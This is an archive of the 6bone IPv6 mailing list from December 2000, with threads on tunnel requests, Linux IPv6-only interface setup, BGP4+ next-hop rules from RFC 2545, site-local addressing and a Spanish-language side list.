> > places involve going via our (very congested) US link.
> >
> > Thanks a million in advance,
> > Mike
> >
> > --
> > Computer Science System Administrator, Trinity College, Dublin, Ireland
> >        mike.knell@cs.tcd.ie -=- http://www.cs.tcd.ie/Mike.Knell/
>


From 6bone-owner  Mon Dec 11 04:48:20 2000
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Date: Mon, 11 Dec 2000 13:49:13 +0100
To: "Rodolfo Alvarez" <rodolfo@fibertel.com.ar>, "clazo" <clazo@inf.uach.cl>,
        <6bone@ISI.EDU>
From: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
Subject: Re: Tunnel/space request (repeat)
In-Reply-To: <007601c063e9$91fadac0$1e00e818@fibertel.com.ar>
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 <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl>
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Stick to English please?


At 09:13 PM 12/11/00 -0600, Rodolfo Alvarez wrote:
>Hola , a tambien me cuesta un poco el ingles.
>Yo tambien estoy interesado en experimentar con 6Bone, escribime que ya
>tengo algo por donde empezar
>
>Rodolfo
>
>
>----- Original Message -----
>From: "clazo" <clazo@inf.uach.cl>
>To: <6bone@ISI.EDU>
>Sent: Wednesday, December 06, 2000 2:04 PM
>Subject: RE: Tunnel/space request (repeat)
>
>
> >
> >
> > Hola hay alguien que entienda español en esta lista?
> >
> >
> > estoy muy interesado en hacer experiencioas con 6 bone
> > ademas estoy tratando de sacar uyn proyecto sobre internet 2
> >
> > si hay algun interesado escriban a la lista.
> >
> > Christian.
> >
> > ----- Original Message -----
> > From: Mike Knell <mike.knell@cs.tcd.ie>
> > To: <6bone@ISI.EDU>
> > Sent: Wednesday, December 06, 2000 8:51 AM
> > Subject: Tunnel/space request (repeat)
> >
> >
> > >
> > > Hi all,
> > >
> > > My apologies for splattercasting..
> > >
> > > About six months ago, we were looking to do some IP6 experimentation
>here
> > > in TCD, and planning on joining the 6bone to gain some experience.
> > >
> > > Unfortunately, things have been a bit busy over the past few months, and
> > > I'm only now getting back to sorting things out...
> > >
> > > I had a couple of offers back then of tunnels, but as it's been so long
> > > I thought it was best to put out a fresh request -- can anyone supply
> > > us with a tunnel, and also a little address space, so we can get
> > > ourselves up and running?
> > >
> > > TCD is on the HEANET (AS1213), so the best bet would be someone either
> > > on JANET or one of the other TEN-155 connected academic networks -- we
> > > usually have 70ms-ish rtts to these parts of the world. Most other
> > > places involve going via our (very congested) US link.
> > >
> > > Thanks a million in advance,
> > > Mike
> > >
> > > --
> > > Computer Science System Administrator, Trinity College, Dublin, Ireland
> > >        mike.knell@cs.tcd.ie -=- http://www.cs.tcd.ie/Mike.Knell/
> >

	
	
===================================================================
/ Aad van der Zanden.				| POSTAL ADDRESS:	
/ Communications Systems Division        	|
/ NATO C3 Agency		    		| NATO C3 Agency	
/ Email  : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		
/ Phone  : +31 (0)70 3142440 			| 2501 CD  The Hague	
/ Fax    : +31 (0)70 3142176 			| The Netherlands
/ =================================================================
/ PGP  FP: 57CA 5E23 E6EB 1375 3D2A  6FE0 B9B0 ED22 44A1 D279		
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From 6bone-owner  Mon Dec 11 04:55:00 2000
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Pensamiento y accion se=F1ores..

como veo que somos varios los interesados en recibir informacion en =
espa=F1ol
me tome la libertad de generar la lista par intercambiar info.

la lista es 6bone@inf.uach.cl
para suscribirse manden mail a majordomo@inf.uach.cl
y en el curerpo del correo debe decir subscribe 6bone
=20
los espero y saludos

Christian.
__________________
Christian Lazo Ramirez
Intituto de Informatica
Fac. Cs. de la Ingenieria
Universidad Austral de Chile

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>Pensamiento y accion=20
se=F1ores..</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>como veo que somos varios los =
interesados=20
en recibir informacion en espa=F1ol</FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>me tome la libertad de =
generar la lista=20
par intercambiar info.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>la lista es <A=20
href=3D"mailto:6bone@inf.uach.cl">6bone@inf.uach.cl</A></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>para suscribirse manden mail =
a=20
</FONT><FONT face=3D"Comic Sans MS" size=3D2><A=20
href=3D"mailto:majordomo@inf.uach.cl">majordomo@inf.uach.cl</A></FONT></D=
IV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>y en el curerpo del correo =
debe decir=20
<STRONG>subscribe 6bone</STRONG></FONT></DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS" size=3D2>los espero y </FONT><FONT=20
face=3D"Comic Sans MS" size=3D2>saludos</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D"Comic Sans MS"=20
size=3D2>Christian.<BR>__________________<BR>Christian Lazo =
Ramirez<BR>Intituto de=20
Informatica<BR>Fac. Cs. de la Ingenieria<BR>Universidad Austral de=20
Chile</FONT></DIV></BODY></HTML>

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From 6bone-owner  Mon Dec 11 06:29:24 2000
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Date: Mon, 11 Dec 2000 15:30:04 +0100
From: baixauli <baixauli@mat.upc.es>
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	Hello.

	Anybody knows if an ethernet interface can be configured with an IPv6
address without be configured with IPv4 configuration?

	I would like to configure eth0 with only IPv6 address, but when I
remove IPv4 address (with linuxconf) the interface goes down.

	I'm using RedHat 6.0

	Thank you very much!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

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Date: Mon, 11 Dec 2000 09:29:02 -0600
From: "M. en C. Gabriela Campos" <gcampos@campus.cem.itesm.mx>
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CC: jmunoz@inictel.gob.pe, clazo <clazo@inf.uach.cl>, 6bone@ISI.EDU
Subject: Re: Tunnel/space request (repeat)
References: <200012061251.MAA10887@relay.cs.tcd.ie> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl> <3A2FB093.33099B7@inictel.gob.pe> <3A2FBA99.1361E607@jpl.nasa.gov>
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Hola que tal:

Yo soy Gabriela Campos de México. A mí también me interesa saber más sobre IPv6 y
el status que actualmente tiene. Inclusive realize mi tesis de maestría haciendo
una aplicación con este protocolo.

Saludos desde México, Gaby.

Claudia de Luna wrote:

> saludos de Los Angeles.
>
> Aqui estal la informacion que le mande a Christian.
>
> Espero que ayuda.
>
> claudia
>
> -------- Original Message --------
> Subject: Re: Tunnel/space request (repeat)
> Date: Wed, 06 Dec 2000 12:21:57 -0800
> From: Claudia de Luna <claudia.de.luna@jpl.nasa.gov>
> To: clazo <clazo@inf.uach.cl>
> CC: dmf@unl.edu
> BCC: claudia.de.luna@jpl.nasa.gov
> References: <200012061251.MAA10887@relay.cs.tcd.ie>
> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl>
>
> Christian,
>
> Lo entiendo pero no lo escribo mui bien.
>
> Has visto la infomacion del grupo trabajando con el 6bone en Internet 2?
>
> http://www.internet2.edu/ipv6/
>
> Dale Finkelson <dmf@unl.edu>  organiza el grupo para Internet 2 y seria u buen
> contacto.
>
> Le mande tu mensage.
>
> Cual universidad representas y donde estas?  No conozco cl. es colombia?
>
> buena suerte,
>
> claudia
>
> Jose Munoz wrote:
>
> > Hola Christian:
> >
> > Te saludamos desde INICTEL, Perú. Aquí tambien estamos interesados en empezar
> > proximamente pruebas con IPv6 en Linux y conectarnos al 6Bone, así que espero
> > establezcamos contactos que sean de beneficio mutuo.
> >
> > Un abrazo
> >
> > José Luis Muñoz Meza.
> >
> > P.D.: Si alguien más está interesado en participar hablando español....  :0)
> >
> > clazo escribió:
> >
> > > Hola hay alguien que entienda español en esta lista?
> > >
> > > estoy muy interesado en hacer experiencioas con 6 bone
> > > ademas estoy tratando de sacar uyn proyecto sobre internet 2
> > >
> > > si hay algun interesado escriban a la lista.
> > >
> > > Christian.

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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: 6bone@ISI.EDU
Subject: BGP4+ for IPv6
Date: Mon, 11 Dec 2000 19:19:21 +0100
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I'd like to get the Draft Standard status for RFC 2545,
I need to list 4 implementations but I'd like
to know what is available and/or used...
My list begins by:
 - Cisco IOS
 - GateD
 - MRT
 - Zebra
 - Ericsson Telebit
...

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Mon Dec 11 11:13:32 2000
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From: Pim van Pelt <pim@wise-guys.nl>
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Subject: Re: linux configuration question
In-Reply-To: <3A34E4EC.BAA42334@mat.upc.es> from baixauli at "Dec 11, 2000 03:30:04
 pm"
To: baixauli <baixauli@mat.upc.es>
Date: Mon, 11 Dec 2000 20:15:27 +0100 (CET)
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Julio,

> 
> 	Hello.
> 
> 	Anybody knows if an ethernet interface can be configured with an IPv6
> address without be configured with IPv4 configuration?
sure.
ifconfig eth0 0.0.0.0 up
ifconfig add eth0 3ffe:.../64 (remember to use EUI-64)

Or, using the fine 'ip' utility, type something like:
ip -6 addr add eth0 3ffe:.../64

If you have an advertising router on your wire, you can also just type
'ifconfig eth0 up' and it will use DAD (dynamic auto discovery) to configure
the interface and bring it up.


groet,
Pim

N.B. ip(8) can be fetched from ftp.inr.ac.ru, and needs Netlink in the kernel.


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Mon Dec 11 14:53:32 2000
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Date: Mon, 11 Dec 2000 14:54:35 -0800
From: Claudia de Luna <claudia.de.luna@jpl.nasa.gov>
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To: 6bone@ISI.EDU
CC: Rodolfo Alvarez <rodolfo@fibertel.com.ar>, clazo <clazo@inf.uach.cl>
Subject: Re: Tunnel/space request (repeat)
References: <200012061251.MAA10887@relay.cs.tcd.ie> <01a501c05fbf$cc0bc6d0$83d85392@inf.uach.cl> <007601c063e9$91fadac0$1e00e818@fibertel.com.ar>
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Christian's original message expressed an interest in participating in the ipv6
effort, particularly with I2 and requested some contact information.  I sent him
information on the I2 IPV6 working group.  Other Spanish speaking people also
interested in participating in this effort chimed in requesting information
which I forwarded.

In an effort to welcome them into the community (presumptuous I know) I sent
them what information I had in the hope that it would be useful.

I'm sorry to have caused such a controversy but I felt that nurturing their
interest in participating outweighed any potential rudeness on my part by
answering in Spanish.


Rodolfo Alvarez wrote:

> Hola , a tambien me cuesta un poco el ingles.
> Yo tambien estoy interesado en experimentar con 6Bone, escribime que ya
> tengo algo por donde empezar
>
> Rodolfo
>
> ----- Original Message -----
> From: "clazo" <clazo@inf.uach.cl>
> To: <6bone@ISI.EDU>
> Sent: Wednesday, December 06, 2000 2:04 PM
> Subject: RE: Tunnel/space request (repeat)
>
> >
> >
> > Hola hay alguien que entienda español en esta lista?
> >
> >
> > estoy muy interesado en hacer experiencioas con 6 bone
> > ademas estoy tratando de sacar uyn proyecto sobre internet 2
> >
> > si hay algun interesado escriban a la lista.
> >
> > Christian.
> >
> > ----- Original Message -----
> > From: Mike Knell <mike.knell@cs.tcd.ie>
> > To: <6bone@ISI.EDU>
> > Sent: Wednesday, December 06, 2000 8:51 AM
> > Subject: Tunnel/space request (repeat)
> >
> >
> > >
> > > Hi all,
> > >
> > > My apologies for splattercasting..
> > >
> > > About six months ago, we were looking to do some IP6 experimentation
> here
> > > in TCD, and planning on joining the 6bone to gain some experience.
> > >
> > > Unfortunately, things have been a bit busy over the past few months, and
> > > I'm only now getting back to sorting things out...
> > >
> > > I had a couple of offers back then of tunnels, but as it's been so long
> > > I thought it was best to put out a fresh request -- can anyone supply
> > > us with a tunnel, and also a little address space, so we can get
> > > ourselves up and running?
> > >
> > > TCD is on the HEANET (AS1213), so the best bet would be someone either
> > > on JANET or one of the other TEN-155 connected academic networks -- we
> > > usually have 70ms-ish rtts to these parts of the world. Most other
> > > places involve going via our (very congested) US link.
> > >
> > > Thanks a million in advance,
> > > Mike
> > >
> > > --
> > > Computer Science System Administrator, Trinity College, Dublin, Ireland
> > >        mike.knell@cs.tcd.ie -=- http://www.cs.tcd.ie/Mike.Knell/
> >


From 6bone-owner  Mon Dec 11 14:54:21 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: itojun@iijlab.net
cc: 6bone@ISI.EDU
Subject: Re: BGP4+ for IPv6 
In-reply-to: Your message of Tue, 12 Dec 2000 06:37:00 +0900.
             <13999.976570620@coconut.itojun.org> 
Date: Mon, 11 Dec 2000 23:54:13 +0100
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 In your previous mail you wrote:

   	there are couple of questions on RFC2545.  not sure if this is the
   	right forum to talk about this, but anyway, i'll try.
   
=> obviously this is not the right forum but the 6bone community is
where most BGP4+ for IPv6 experience is...

   	there are three addresses in BGP4+ configuration - you may want to
   	clarify more.
   	- TCP endpoint address
   		RFC2545 says: this can be IPv4 or IPv6 (section 4, 1st
   		paragraph).
   		Q: is it okay if we use link-locals? (it can be good for EBGP
   		   peering, we need no global address on IX, we are free from
   		   renumber on IX segment)
   		Q: site-local?

=> I'd like to answer any address that works then a link-local for eBGP
seems reasonable.

   	- first address in next hop field
   		RFC2545 says: global IPv6 address (mandatory)

=> this must be a not-link-local address because of BGP constraints.

   	- second address in next hop field

=> you should understand why the first address is not enough in some
situations: BGP deals with global addresses and some implementations
use *only* link-local addresses for gateways. Both are right but
something is needed in order to make them to work together.

   		RFC2545 says: linklocal IPv6 address (optional), only if
   		two routers are adjacent (on-link)

=> the RFC2545 is more accurate.

   		Q: onlink determination rule? (some reference should be enough)

=> the RFC2545 suggests "share a common subnet prefix", this works
if there are no multi-link prefix (as it is the case today).

   		Q: is it really necessary?
   
=> yes, without a link-local address you can't deal with some common cases:
 - eBGP with more than one peer on a shared link (IX Ethernet, ...)
 - IGP interaction when two iBGP peers are "too close".

   	we need some more rules documented, to help implementers, regarding
   	to IGP interaction, like:
   	- if the first address in next hop field is a global address, and
   	  second address is not avaliable,

=> this should not happen, ie. if a link-local address is needed then
it must be available.

          how should we pick the next hop
   	  field for IPv6 routing table (should/must be a link-local due to
   	  ICMPv6 issues)
   
=> can I answer to the question by another question. RFC 2545 specifies
(the statement is hairy but very accurate):
   The link-local address shall be included in the Next Hop field if and
   only if the BGP speaker shares a common subnet with the entity
   identified by the global IPv6 address carried in the Network Address
   of Next Hop field and the peer the route is being advertised to.
Do you know a case of this is wrong?

   	also, from operational perspective, we may want to use addresses
   	that are not eui64-based (to cope with ethernet card replacement).
   	not sure if this needs to be documented or not.
   
=> I agree (both it is a good idea in some cases and this doesn't need
to be documented).

   	i bet jinmei and some other folks have more comment...
   
=> I'd like to know if something important needs to be changed in RFC2545.
It has been used for years and as far as I know nobody has found a problem
with it even if the context has changed (today we have a real IGP, OSPFng,
and we can use capabilities in order to send IPv6 NLRIs to an IPv4 BGP
speaker without crashing it, ie. we can negociate before :-).

Thanks

Francis.Dupont@enst-bretagne.fr

PS: I believe you have an implementation (bgpd) I should add in my list.
Have you any idea about its usage? In France we use Ciscos and a little
number of GateD (less and less because we are moving to native IPv6 over
ATM with dedicated PVC and routers).
PPS: the hairy & accurate statement is far easier to implement than
to understand (:-)!

From 6bone-owner  Mon Dec 11 17:11:35 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
cc: 6bone@ISI.EDU
Subject: Re: BGP4+ for IPv6 
In-reply-to: Your message of Tue, 12 Dec 2000 08:44:43 +0900.
             <20001211234443.128B77E23@starfruit.itojun.org> 
Date: Tue, 12 Dec 2000 02:11:32 +0100
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 In your previous mail you wrote:

   	let us assume the following diagram:
   
   	A --- B --- C		(---: ethernet segment or whatever)
   
   	A and C are peering with BGP4+.

=> I believe A and C are using iBGP between them and B is an IGP only
router (this scenario is well known, it is the first which crashes
until all iBGP/IGP bugs are fixed, this can take *time* :-).

   	since A and C do not share the same link, they will exchange
   	single address in next hop attribute, which is a global address.
   
=> yes

   	we need to put link-local address into nexthop field in IPv6 routing
   	table (like kernel routing table in BSD).  so:
   	- A will consult IGP routing table, understands that C is behind B,
   	  installs the following route:
   		BGP route from C/prefixlen -> nexthop is B's linklocal
   		(left leg)

=> I agree but the gateway field of a kernel route is not the same
than the next-hop attribute of BGP (perhaps this is why I can't see a
problem there?)

   	- B will consult IGP routing table, understands that A is behind B,
   	  installs the following route:
   		BGP route from A/prefixlen -> nexthop is B's linklocal
   		(right leg)
   
=> B doesn't know BGP, usually in this scenario BGP is redistributed
into the IGP (then B can choice between A and C) and A will see C
(and C will see A) only when B will announce the reachability between
them (the less obvious interaction between IGP and BGP).
 The redistribution uses link-local address (for instance when A will
say "route this destination via me" it uses its own link-local address).
If BGP and IGP conflict then you have two BGP speakers on the same link
and you should be in the case where link-local must be in next-hop
attributes (a common case with the self-next-hop hack).

Thanks

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Mon Dec 11 19:17:37 2000
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To: claudia.de.luna@jpl.nasa.gov
Cc: 6bone@ISI.EDU, rodolfo@fibertel.com.ar, clazo@inf.uach.cl
Subject: Re: Tunnel/space request (repeat)
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From: Claudia de Luna <claudia.de.luna@jpl.nasa.gov>
> In an effort to welcome them into the community (presumptuous I know) I sent
> them what information I had in the hope that it would be useful.
> 
> I'm sorry to have caused such a controversy but I felt that nurturing their
> interest in participating outweighed any potential rudeness on my part by
> answering in Spanish.

Thanks.  I would have done the same if my Spanish were
sufficient!

Chris

From 6bone-owner  Mon Dec 11 21:44:08 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
cc: 6bone@ISI.EDU
Subject: Re: BGP4+ for IPv6 
In-reply-to: Your message of Tue, 12 Dec 2000 12:54:50 +0900.
             <20001212035450.802337E23@starfruit.itojun.org> 
Date: Tue, 12 Dec 2000 06:44:07 +0100
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 In your previous mail you wrote:

   >   	we need to put link-local address into nexthop field in IPv6 routing
   >   	table (like kernel routing table in BSD).  so:
   >   	- A will consult IGP routing table, understands that C is behind B,
   >   	  installs the following route:
   >   		BGP route from C/prefixlen -> nexthop is B's linklocal
   >   		(left leg)
   >=> I agree but the gateway field of a kernel route is not the same
   >than the next-hop attribute of BGP (perhaps this is why I can't see a
   >problem there?)
   
   	what i am saying is, we need some guideline/whatever to implementers
   	as to how to handle global address in nexthop attribute.  i have seen
   	many implementations that put global address (found on nexthop
   	attribute) as is into the kernel routing table, which is not correct
   	it seems.
   
=> I agree, the best way is to get the link-local address from the IGP
(including the "static" IGP :-), ie. the gateway will be taken from
the route to the iBGP peer. If no such route exists then the iBGP can't
work... then it must exist. If BGP routes are redistributed into the IGP
with a better precedence this issue disapears but the code should not
rely on this (ie. "synchronization" must be correctly implemented).

   	i'm not saying that "we need linklocal address in attribute, always"
   	or whatever.
   
=> we agree... I don't believe RFC2545 needs clarifications, in fact
the whole BGP4 with confederations, reflectors, IGP interactions, ...
needs clarifications but in the operation area (ie. an informational
RFC about BGP will be wellcome, IPv6 is not more complex, BGP is
simply impossible to really understand for the newbie :-).

Thanks

Francis.Dupont@enst-bretagne.fr

PS: fortunately current IPv6 networks are simpler than IPv4 networks...

From 6bone-owner  Tue Dec 12 08:48:23 2000
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Date: Tue, 12 Dec 2000 17:49:00 +0100
From: Julio Baixauli <baixauli@mat.upc.es>
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	Hello!

	Is avaliable any version of ipchains (linux) that can handle IPv6
addresses? If not, how can I reject any packets from some addresses?

	Thank you very much!

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Tue Dec 12 14:16:10 2000
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Date: Tue, 12 Dec 2000 23:14:55 +0100
From: Jean-Claude Christophe <jch@oleane.net>
To: Julio Baixauli <baixauli@mat.upc.es>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: ipchains (linux)
Message-ID: <20001212231455.Q29361@oleane.net>
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> 	Is avaliable any version of ipchains (linux) that can handle IPv6
> addresses? If not, how can I reject any packets from some addresses?

You can use the 'reject' option of 'route'.

-- 
Jean-Claude Christophe / jch@oleane.net / France Telecom Transpac

From 6bone-owner  Tue Dec 12 14:56:38 2000
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From: Pim van Pelt <pim@wise-guys.nl>
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Subject: Re: ipchains (linux)
In-Reply-To: <3A3656FC.96CD841E@mat.upc.es> from Julio Baixauli at "Dec 12, 2000
 05:49:00 pm"
To: Julio Baixauli <baixauli@mat.upc.es>
Date: Tue, 12 Dec 2000 23:56:32 +0100 (CET)
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> 
> 	Hello!
> 
> 	Is avaliable any version of ipchains (linux) that can handle IPv6
> addresses? If not, how can I reject any packets from some addresses?
> 
> 	Thank you very much!
ipchains(8) does not handle IPv6 in Linux. You will have to wait for 2.4
with iptables support.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Tue Dec 12 15:33:11 2000
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Date: Tue, 12 Dec 2000 15:33:02 -0800
From: Chuck Yerkes <chuck+6bone@snew.com>
To: 6bone <6bone@ISI.EDU>
Subject: RFC1918 equiv
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I know this was answered but a tragic disk death has taken
away a lot of mail archives.

I'm at a place that needs to start using IPv6, but isn't ready
to try 6-bone.  We need to setup a router/prefix advertising
daemon and, therefore, need a prefix to offer the machines.
I could make something up, but I've recovered too many companies
from that in IPv4 land.

What is an appropriate prefix to use for a non-routable IPv6
network?  The moral equivalent of 10/8 or 192.168/16?

Thanks

chuck yerkes

From 6bone-owner  Tue Dec 12 19:25:47 2000
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Subject: Re: RFC1918 equiv
References: <20001212153302.A23225@snew.com>
From: Hal Snyder <hal@vailsys.com>
Date: 12 Dec 2000 21:25:28 -0600
In-Reply-To: Chuck Yerkes's message of "Tue, 12 Dec 2000 15:33:02 -0800"
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Chuck Yerkes <chuck+6bone@snew.com> writes:

> I'm at a place that needs to start using IPv6, but isn't ready
> to try 6-bone.  We need to setup a router/prefix advertising
> daemon and, therefore, need a prefix to offer the machines.
> I could make something up, but I've recovered too many companies
> from that in IPv4 land.
> 
> What is an appropriate prefix to use for a non-routable IPv6
> network?  The moral equivalent of 10/8 or 192.168/16?

I'd like to add to the question.

RFC 1884 specifies fec0::/10 for site-local use.

Yet the Kame implementation notes have this to say about site-local:

  Site-local address is very vaguely defined in the specs, and both
  specification and KAME code need tons of improvements to enable its
  actual use. For example, it is still very unclear how we define a
  site, or how we resolve hostnames in a site. There are work underway
  to define behavior of routers at site border, however, we have
  almost no code for site boundary node support (both forwarding nor
  routing) and we bet almost noone has. We recommend, at this moment,
  you to use global addresses for experiments - there are way too many
  pitfalls if you use site-local addresses.

  - http://www.dqc.org/cgi-bin/lxr/source/netinet6/IMPLEMENTATION


This makes me wonder a) are there any signs of resolving the issues
above and b) are people going ahead and addressing internal nets with
fec0:: anyway?

Kame's IPv6 stack is not the only one out there, but the note makes it
sound like a general problem.

From 6bone-owner  Tue Dec 12 20:32:18 2000
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From 6bone-owner  Tue Dec 12 22:34:01 2000
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Date: Wed, 13 Dec 2000 01:36:48 -0500
To: users@ipv6.org, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: spam: quakev6 game during ietf
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- In order to stretch the ipv6 network... ;-)))
- and since many ipv6 people are in San Diego using wireless or wired 
connections and ipv6 is available on the network
- and since game playing is as useful as writing an internet-draft or 
writing code ... ;-)))

You are invited to play a quake ipv6-only (of course) game:
  time: wednesday Dec. 13th, evening, after ietf plenary (exact time not 
defined since plenary often stops before 22h00). So people outside of ietf 
can start the game anytime around 21h00 California time.
  where:  quake v6 server is: quake.ipv6.viagenie.qc.ca  (no ipv4 address)
  how: info on how/where/... to get a quake client for your platform (most 
platforms supported: windows, *bsd, linux, solaris, ...)
    http://www.viagenie.qc.ca/en/ipv6/quake/ipv6-quake.shtml

See you there. My usual nickname is mpls (don't conclude anything with this 
nickname, please...) and I'm not the best quake killer...probably more a 
victim...

Marc.

Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Tue Dec 12 22:51:11 2000
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From: Robert Elz <kre@munnari.OZ.AU>
To: Hal Snyder <hal@vailsys.com>
Cc: 6bone@ISI.EDU, chuck+6bone@snew.com
Subject: Re: RFC1918 equiv 
In-Reply-To: Your message of "12 Dec 2000 21:25:28 MDT."
             <873dft80k7.fsf@ghidra.vail> 
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    Date:        12 Dec 2000 21:25:28 -0600
    From:        Hal Snyder <hal@vailsys.com>
    Message-ID:  <873dft80k7.fsf@ghidra.vail>

  | Chuck Yerkes <chuck+6bone@snew.com> writes:
  | 
  | > What is an appropriate prefix to use for a non-routable IPv6
  | > network?  The moral equivalent of 10/8 or 192.168/16?

  | RFC 1884 specifies fec0::/10 for site-local use.

That's the answer to the original question, but ...

  | Yet the Kame implementation notes have this to say about site-local:

Yes, there is still a bunch more work to be done on site local.   None
of this affects the original question (for an isolated site) - for that
the issues don't arise (there are no borders to cross, by definition, and
nameservers can treat site-local just as they would treat global, which
is what they currently do, etc).

I believe that the KAME code (or any other working IPv6 code) is likely to
work just fine using site local in an isolated (IPv6) net.

Which isn't to say that the issues mentioned don't need to be worked on
for the other intended use of site-locals (use for disconnected sites was
always one intended use) - which is for allowing local net connections to
be unaffected by global address changes (ie: using site-local addressing
whenever talking within a site).

kre


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From: "Loafer" <loafer@scut.edu.cn>
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Subject: Tunnel contact
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Hello!
    Who can give me a list of tunnel-contact provider? I have setup the LAN enviroment on IPv6 but never connect to global 6bone

From 6bone-owner  Wed Dec 13 02:26:07 2000
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Jean-Claude Christophe wrote:
> 
> >       Is avaliable any version of ipchains (linux) that can handle IPv6
> > addresses? If not, how can I reject any packets from some addresses?
> 
> You can use the 'reject' option of 'route'.
> 

	I need to DROP, DENY, these packets, without a responses of error
messages of any kind, like Destination-Unreachable or No-route-to-host.

	works route/reject like I need?? In the man page says reject is not for
firewalling.

	Thank you very much for your suggestions.

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

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To: Loafer <loafer@scut.edu.cn>
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	Mysql, at ftp.inf.utfsm.cl/pub/UTFSM/IPv6.
	I must create a README and INSTALL and then I'll publish it, maybe in a
week or two.

> Loafer wrote:
> 
> Hello!
> 
> Is avaliable any version of Database (FreeBSD, Linux) that can run on
> IPv6?

	MySQL can run on Linux-x86, I didn´t test it on sparc.

-- 
Armando S. Aguirre Schlick                         fono: (56 57) 515300
Coordinador de Proyectos de Desarrollo e Innovación Tecnológica
Subgerencia de Informatica ZOFRI S.A.              fax : (56 57) 515557
mailto:aaguirre@zofri.cl

From 6bone-owner  Wed Dec 13 07:10:56 2000
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At 05:02 PM 4/3/2000 +0800, Loafer wrote:
>Hello!
>     Who can give me a list of tunnel-contact provider? I have setup the 
> LAN enviroment on IPv6 but never connect to global 6bone

You can contact the mntner and person contacts of pTLA holders:

<http://www.6bone.net/6bone_pTLA_list.html>


Also, look at the freenet6 tunnel service.


Bob


From 6bone-owner  Wed Dec 13 08:12:07 2000
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To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: spam: quakev6 game during ietf 
Cc: users@ipv6.org, 6bone@ISI.EDU
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At/À 19:05 2000-12-13 +0900, Jun-ichiro itojun Hagino you wrote/vous écriviez:

> >- In order to stretch the ipv6 network... ;-)))
> >- and since many ipv6 people are in San Diego using wireless or wired
> >connections and ipv6 is available on the network
> >- and since game playing is as useful as writing an internet-draft or
> >writing code ... ;-)))
>
>         sorry, at this very moment IPv6 router at the IETF venue is down.
>         i'll try to recover it in early morning, dec13.

well, don't rush, people can also use one of the tunnel brokers and servers.
One of them is http://www.freenet6.net which is btw on the same lan as the 
quake server... ;-))

Marc.


>itojun


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Wed Dec 13 09:40:34 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Robert Elz <kre@munnari.OZ.AU>
cc: Hal Snyder <hal@vailsys.com>, 6bone@ISI.EDU, chuck+6bone@snew.com
Subject: Re: RFC1918 equiv 
In-reply-to: Your message of Wed, 13 Dec 2000 17:50:46 +1100.
             <9711.976690246@mundamutti.cs.mu.OZ.AU> 
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 In your previous mail you wrote:

   I believe that the KAME code (or any other working IPv6 code) is likely to
   work just fine using site local in an isolated (IPv6) net.
   
=> I agree, all the problems come when the node is multi-sited (ie.
attached to multiple sites). If you have only one site and use 0
as site scope ID (non reason to use something else) no problem should
harm you...

Regards

Francis.Dupont@enst-bretagne.fr

PS: IMHO this is the only reasonnable way to use site-local stuff,
even if I have done more than KAME in multi-sited support, I am far
to provide a really usage thing, for instance there is no multi-site
support in routing tools...

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Date: Wed, 13 Dec 2000 10:09:15 -0800
From: chuck yerkes <chuck+6bone@snew.com>
To: 6bone@ISI.EDU
Subject: Re: RFC1918 equiv
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Any my point in this that there are 0 connections, but I
want to get it into use internally before we actually attach
to the 6bone.

Quoting Francis Dupont (Francis.Dupont@enst-bretagne.fr):
>  In your previous mail he wrote:
> => I agree, all the problems come when the node is multi-sited (ie.
> attached to multiple sites). If you have only one site and use 0
> as site scope ID (non reason to use something else) no problem should
> harm you...
[...]
> PS: IMHO this is the only reasonable way to use site-local stuff,
> even if I have done more than KAME in multi-sited support, I am far
> to provide a really usage thing, for instance there is no multi-site
> support in routing tools...

From 6bone-owner  Wed Dec 13 13:34:27 2000
